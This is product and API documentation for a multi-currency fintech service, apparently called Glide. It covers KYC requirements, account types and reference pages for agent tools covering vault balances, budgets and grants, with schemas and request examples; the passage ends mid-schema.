# Identity verification
Source: https://glide-9da73dea.mintlify.app/accounts/identity
What KYC checks, what we ask for, and how long it takes. Required for fiat deposits and card issuance.
Glide is regulated as a Money Services Business in five jurisdictions. To comply, we verify the identity of every account holder and screen against global sanctions lists. KYC is required to receive fiat deposits and to be issued a card.
You don't need KYC to deposit stablecoins or to receive crypto.
## What we collect
For a **personal account**:
* Full legal name.
* Date of birth.
* Country of residence.
* Government-issued ID (passport, driver's license, national ID).
* A live selfie used to match against your ID.
For a **business account**, additionally:
* Legal name and registration number of the entity.
* Country of incorporation.
* Beneficial-owner details for anyone with >25% ownership.
* A short description of the business activity.
## How long it takes
Most personal verifications complete within **5 minutes** of submitting documents. The doc check, selfie match, and sanctions screen run in parallel.
Business KYB takes longer because we verify the legal entity and each beneficial owner. Median is **same business day**; complex structures may take 2–3 days.
## What can hold up verification
* **Doc quality** — blurry photos, glare, or cropped corners. Re-take in good light.
* **Name mismatch** — the name on your ID needs to match your account profile exactly. Update either side.
* **Country support** — we serve 180+ countries; if yours isn't supported, you'll see this at sign-up before you upload anything.
* **Sanctions hit** — if your name or country triggers a screen, we may ask for additional context. We answer within one business day.
## Continuous monitoring
Verification doesn't stop after onboarding. Every transaction runs through transaction monitoring; sanctions screening re-runs if global lists update. If something flags, you'll see a notice in the dashboard with a clear next step.
See [Transaction monitoring](/security/kyc-aml).
## Where your data lives
ID documents are encrypted at rest and stored in the jurisdiction matching your account region. Selfies are used only for the one-time biometric match and discarded after the doc-check provider returns a verdict.
You can request a copy of your data, or ask us to delete it (subject to retention requirements that come from regulation, not our preference). See [Data and privacy](/security/data-privacy).
## Next
* [Eligibility](/eligibility) — who can open an account.
* [KYC and AML](/security/kyc-aml) — the full compliance picture.
* [Data and privacy](/security/data-privacy) — what we keep, for how long, and how to request it.
# Multi-currency accounts
Source: https://glide-9da73dea.mintlify.app/accounts/overview
Hold and receive in 80+ currencies. Each currency has its own local account details so payments arrive like a domestic transfer.
Your Glide account is multi-currency by default. You don't need to apply for a USD account separately, then a EUR account, then a GBP account. They're already there, with proper local account details so the people sending you money see a normal domestic transfer.
## What a multi-currency account looks like
Inside the dashboard, your balance shows every currency you hold side by side. Tap any currency to see:
* The local account details for that currency (account number, sort code, IBAN, etc.).
* Recent transactions in that currency.
* The current real-rate conversion to any other currency you hold.
When someone sends you money, it lands in the currency they sent — no auto-conversion, no fees from Glide on the receive side.
## Currencies with local account details
You get **named local account details** in:
| Currency | Account format | Receive by |
| -------- | ------------------------------- | ---------------------------- |
| CAD | Institution + transit + account | Wire, EFT, Interac |
| USD | Routing + account | Wire, ACH |
| GBP | Sort code + account | Faster Payments, BACS, CHAPS |
| EUR | IBAN + BIC | SEPA, SEPA Instant |
| SGD | Bank code + branch + account | FAST, MEPS+ |
| HKD | Bank code + branch + account | FPS, RTGS |
| AUD | BSB + account | NPP, OSKO |
More corridors land every quarter. The full list is in your dashboard under **Accounts → Add currency**.
## Currencies you can hold but receive via FX
Beyond the named-account currencies above, you can hold and convert into 70+ other currencies. To receive in those, payments come in as USD or EUR and convert at the live mid-market rate when they hit your account. See [FX](/money/fx) for how conversion works.
## Personal vs business
Personal accounts are for individuals, freelancers, and contractors. Business accounts add multi-entity support, team roles, corporate cards, and treasury features.
## Holding stablecoins alongside fiat
Your Glide account also has a stablecoin balance for USDC, USDT, and other supported tokens. They live in the same wallet view; you convert between fiat and stablecoin in one tap. See [Stablecoins overview](/stablecoins/overview).
## Next
* [Personal vs business](/accounts/personal-vs-business)
* [Identity verification (KYC)](/accounts/identity)
* [Deposits](/money/deposits)
# Personal vs business
Source: https://glide-9da73dea.mintlify.app/accounts/personal-vs-business
Pick the account type that matches who's using it. You can switch later, but starting on the right type saves a verification step.
Both account types share the same multi-currency, card, and stablecoin features. The difference is in who's verified, who can transact, and what controls you get.
## Personal account
For individuals, freelancers, contractors, and digital nomads. Verification is on the human; transactions are on the human. You're the only person who can sign in, hold balances, and move money.
**Use a personal account if:**
* You're a single human freelancer or contractor.
* You hold crypto and want a card to spend it.
* You're a digital nomad who needs banking that works in every country.
* You're sending money to family across borders.
## Business account
For companies, partnerships, DAOs, agencies, e-commerce stores, and crypto-native organizations. Verification is on the entity (KYB) plus its beneficial owners; transactions can be on multiple authorized users with role-based controls.
**Use a business account if:**
* You're operating a registered company.
* You have employees or contractors you need to pay.
* You issue invoices in the company's name.
* You hold treasury that's separate from any individual.
Business accounts unlock:
* **Multi-entity support** — up to 20 entities per admin (subsidiaries, holdco, special-purpose vehicles).
* **Team roles** — admin, finance, viewer, with per-role permissions.
* **Corporate cards** — unlimited Visa cards with per-employee spending limits.
* **Stablecoin payroll** — pay your team in USDC across 80+ corridors.
* **Treasury** — yield on idle funds (Q2 2026), allocation across currencies.
## What if I'm a sole trader?
A sole trader is a personal account holder with extra invoicing features. Open a personal account and we'll surface invoicing tools when you mark yourself as one during onboarding. If you later incorporate, switch to a business account at any time.
## Switching from personal to business
Inside your dashboard, **Settings → Account type → Switch to business**. We'll guide you through KYB (entity verification) without losing any history or balances. Funds move from your personal vault to your business entity once verification clears.
## Pricing
| Plan | Monthly | FX | Per-transaction |
| -------- | ------- | ---------- | ------------------------------------- |
| Personal | \$0 | Mid-market | Wire/ACH/SEPA tiered |
| Business | \$0 | Mid-market | Wire/ACH/SEPA tiered, lower at volume |
No opening fees on either plan. No revenue requirements for businesses. Full pricing at [glide.co/pricing](https://glide.co/pricing).
## Next
* [Identity verification](/accounts/identity)
* [Business overview](/business)
* [Pricing](https://glide.co/pricing)
# accounts.balance
Source: https://glide-9da73dea.mintlify.app/agents/api/accounts-balance
Per-chain, per-token balance of the agent vault. Amounts returned in both cents (USD-normalized via current FX where applicable) and native units.
Per-chain, per-token balance of the agent vault. Amounts returned in both cents (USD-normalized via current FX where applicable) and native units.
## Metadata
| Field | Value |
| ------------------------ | ------------------ |
| Name | `accounts.balance` |
| Category | `read` |
| Required scope | `accounts:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | --------------- |
| Title | Account Balance |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"vault_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"balances": {
"type": "array",
"items": {
"type": "object",
"properties": {
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string"
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"native_unit_value": {
"type": "string"
},
"usd_equivalent_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"chain",
"token",
"amount_cents",
"native_unit_value"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"balances",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "accounts.balance",
"params": {
"vault_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"chain": "base",
"token": "USDC"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('accounts.balance', {
vault_id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
chain: 'base',
token: 'USDC',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("accounts.balance", {
"vault_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"chain": "base",
"token": "USDC",
})
print(result)
```
## Response examples
Successful response — all chains when no filter applied:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"balances": [
{
"chain": "base",
"token": "USDC",
"amount_cents": 250000,
"native_unit_value": "2500.000000",
"usd_equivalent_cents": 250000
},
{
"chain": "sol",
"token": "USDC",
"amount_cents": 75000,
"native_unit_value": "750.000000",
"usd_equivalent_cents": 75000
},
{
"chain": "eth",
"token": "ETH",
"amount_cents": 312480,
"native_unit_value": "0.125000",
"usd_equivalent_cents": 312480
}
],
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — vault ID not in grant audience:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "vault_id not in grant audience",
"data": {
"reason_id": "vault_not_in_audience"
}
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | -------------------------------------------------------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `chain` is not one of the allowed enum values, or `vault_id` is not a valid UUID | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `accounts:read` scope | Issue new grant with `accounts:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `accounts:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# accounts.list
Source: https://glide-9da73dea.mintlify.app/agents/api/accounts-list
List the accounts this agent can operate on. Scoped strictly to the grant's aud.vault_id — a sibling agent's vault is never visible even if under the same princ
List the accounts this agent can operate on. Scoped strictly to the grant's aud.vault\_id — a sibling agent's vault is never visible even if under the same principal.
## Metadata
| Field | Value |
| ------------------------ | --------------- |
| Name | `accounts.list` |
| Category | `read` |
| Required scope | `accounts:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------- |
| Title | List Accounts |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"accounts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"vault_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"display_name": {
"type": "string"
},
"chain_ids": {
"type": "array",
"items": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
}
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"status": {
"type": "string",
"enum": [
"active",
"throttled",
"frozen",
"sweep_to_parent",
"revoked"
]
}
},
"required": [
"vault_id",
"display_name",
"chain_ids",
"policy_version",
"status"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"accounts",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "accounts.list",
"params": {}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('accounts.list', {});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("accounts.list", {})
print(result)
```
## Response examples
Successful response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"accounts": [
{
"vault_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"display_name": "Acme Corp Treasury",
"chain_ids": ["eth", "base", "sol"],
"policy_version": 3,
"status": "active"
},
{
"vault_id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
"display_name": "Acme Corp Payroll",
"chain_ids": ["sol"],
"policy_version": 1,
"status": "active"
}
],
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
Error — grant is missing the required scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32002,
"message": "grant does not include accounts:read scope",
"data": {
"reason_id": "insufficient_scope"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ----------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | Params don't match input schema | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `accounts:read` scope | Issue new grant with `accounts:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `accounts:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# agent.budget.create
Source: https://glide-9da73dea.mintlify.app/agents/api/agent-budget-create
Spawn a child agent with a scoped multisig sub-vault and a policy envelope. The operation is a saga — on any failure the partial state rolls back and the 10-min
Spawn a child agent with a scoped multisig sub-vault and a policy envelope. The operation is a saga — on any failure the partial state rolls back and the 10-min reaper cleans up anything in-flight.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `agent.budget.create` |
| Category | `treasury` |
| Required scope | `agent:budget:create` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------- |
| Title | Create Agent Budget |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"purpose": {
"type": "string",
"enum": [
"ap",
"treasury",
"trip",
"market-research",
"payroll",
"multi-chain-concierge",
"custom"
]
},
"display_name": {
"type": "string",
"minLength": 1,
"maxLength": 100
},
"amount_cap_cents_per_tx": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"amount_cap_cents_per_day": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"amount_cap_cents_lifetime": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"step_up_amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"chain_allowlist": {
"minItems": 1,
"type": "array",
"items": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
}
},
"time_window_end": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"purpose",
"display_name",
"chain_allowlist",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"agent_principal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"vault_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"status": {
"type": "string",
"enum": [
"draft",
"active"
]
},
"created_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"agent_principal_id",
"vault_id",
"policy_version",
"status",
"created_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `agent:budget:create` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agent.budget.create",
"params": {
"purpose": "ap",
"display_name": "Accounts Payable Agent — Q3 2026",
"amount_cap_cents_per_tx": 250000,
"amount_cap_cents_per_day": 1000000,
"amount_cap_cents_lifetime": 5000000,
"step_up_amount_cents": 100000,
"chain_allowlist": ["base", "eth"],
"idempotency_key": "ap-agent-q3-2026-bootstrap-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('agent.budget.create', {
purpose: 'ap',
display_name: 'Accounts Payable Agent — Q3 2026',
amount_cap_cents_per_tx: 250000,
amount_cap_cents_per_day: 1000000,
amount_cap_cents_lifetime: 5000000,
step_up_amount_cents: 100000,
chain_allowlist: ['base', 'eth'],
idempotency_key: 'ap-agent-q3-2026-bootstrap-001',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("agent.budget.create", {
"purpose": "ap",
"display_name": "Accounts Payable Agent — Q3 2026",
"amount_cap_cents_per_tx": 250000,
"amount_cap_cents_per_day": 1000000,
"amount_cap_cents_lifetime": 5000000,
"step_up_amount_cents": 100000,
"chain_allowlist": ["base", "eth"],
"idempotency_key": "ap-agent-q3-2026-bootstrap-001",
})
print(result)
```
## Response examples
Success — agent provisioned and active:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"vault_id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
"policy_version": 1,
"status": "active",
"created_at": "2026-05-04T10:30:00Z"
}
}
```
Saga still in-flight (poll until `status: "active"`):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"vault_id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
"policy_version": 0,
"status": "draft",
"created_at": "2026-05-04T10:30:00Z"
}
}
```
Insufficient scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant does not include scope agent:budget:create",
"data": { "reason_id": "insufficient_scope" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ---------------- | ------------------------------------------------------------ | ----------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | Missing required field or enum value out of range | Validate against the input schema before calling |
| `-32001` | Unauthorized | Missing or expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Grant missing `agent:budget:create` scope | Issue a new grant with the required scope |
| `-32004` | Rate limited | Too many saga starts in a short window | Back off by `retry_after_seconds` in the error `data` |
| `-32005` | Vault contention | Parent vault already involved in another saga | Retry with exponential backoff |
| `-32603` | Internal error | Saga step failed; partial state will be reaped within 10 min | Retry with the same `idempotency_key` |
# agent.budget.revoke
Source: https://glide-9da73dea.mintlify.app/agents/api/agent-budget-revoke
Revoke a child agent and optionally auto-sweep its sub-vault back to the parent treasury. Revocation is terminal; spawn a new agent via agent.budget.create to r
Revoke a child agent and optionally auto-sweep its sub-vault back to the parent treasury. Revocation is terminal; spawn a new agent via agent.budget.create to re-provision.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `agent.budget.revoke` |
| Category | `treasury` |
| Required scope | `agent:budget:revoke` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------- |
| Title | Revoke Agent Budget |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"agent_principal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"auto_sweep": {
"default": true,
"type": "boolean"
},
"reason": {
"default": "user_request",
"type": "string",
"enum": [
"user_request",
"anomaly",
"admin_kill_switch",
"expired",
"migration"
]
}
},
"required": [
"agent_principal_id",
"auto_sweep",
"reason"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"agent_principal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"revoked_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"grants_revoked": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"sweep_plan_queued": {
"type": "boolean"
}
},
"required": [
"agent_principal_id",
"revoked_at",
"grants_revoked",
"sweep_plan_queued"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `agent:budget:revoke` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agent.budget.revoke",
"params": {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"auto_sweep": true,
"reason": "user_request"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('agent.budget.revoke', {
agent_principal_id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
auto_sweep: true,
reason: 'user_request',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("agent.budget.revoke", {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"auto_sweep": True,
"reason": "user_request",
})
print(result)
```
## Response examples
Success — agent revoked and sweep queued:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"revoked_at": "2026-05-04T11:00:00Z",
"grants_revoked": 3,
"sweep_plan_queued": true
}
}
```
Agent already revoked (idempotent re-call):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "agent a1b2c3d4-e5f6-7890-abcd-ef1234567890 was already revoked",
"data": { "reason_id": "already_revoked" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | ------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `agent_principal_id` not a valid UUID, or agent was already revoked | Check `reason_id` — `already_revoked` means a prior call succeeded |
| `-32001` | Unauthorized | Grant belongs to a different tenant than the target agent | Confirm `agent_principal_id` was created by the calling entity |
| `-32002` | Policy denied | Grant missing `agent:budget:revoke` scope | Issue a new grant with the required scope |
| `-32603` | Internal error | Sweep-plan write failed; agent row is revoked but sweep may need manual trigger | Check `sweep_plan_queued` in a retry response |
# agent.grant.issue
Source: https://glide-9da73dea.mintlify.app/agents/api/agent-grant-issue
Issue a new bearer grant for this agent with a narrowed scope set; always requires principal step-up before the token is returned.
Issue a new bearer grant for this agent with a narrowed scope set. Always requires principal step-up — the first call returns a step-up URL; the second call (with the redeemed sigil) issues the grant.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `agent.grant.issue` |
| Category | `treasury` |
| Required scope | `agent:budget:create` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------- |
| Title | Issue Grant |
| Read-only | no |
| Destructive | no |
| Idempotent | no |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"scope": {
"minItems": 1,
"type": "array",
"items": {
"type": "string",
"enum": [
"accounts:read",
"agents:read",
"payments:initiate",
"payments:simulate",
"cards:manage",
"agent:budget:create",
"agent:budget:revoke",
"beneficiary:read",
"beneficiary:write",
"kyc:start",
"x402:pay",
"x402:receive",
"audit:stream",
"treasury:rotate-signer",
"treasury:yield-allocate"
]
}
},
"ttl_seconds": {
"type": "integer",
"exclusiveMinimum": 0,
"maximum": 3600
},
"step_up_sigil": {
"type": "string",
"minLength": 1
}
},
"required": [
"scope",
"ttl_seconds"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"grant_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"bearer_token": {
"type": "string",
"minLength": 1
},
"expires_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"scope": {
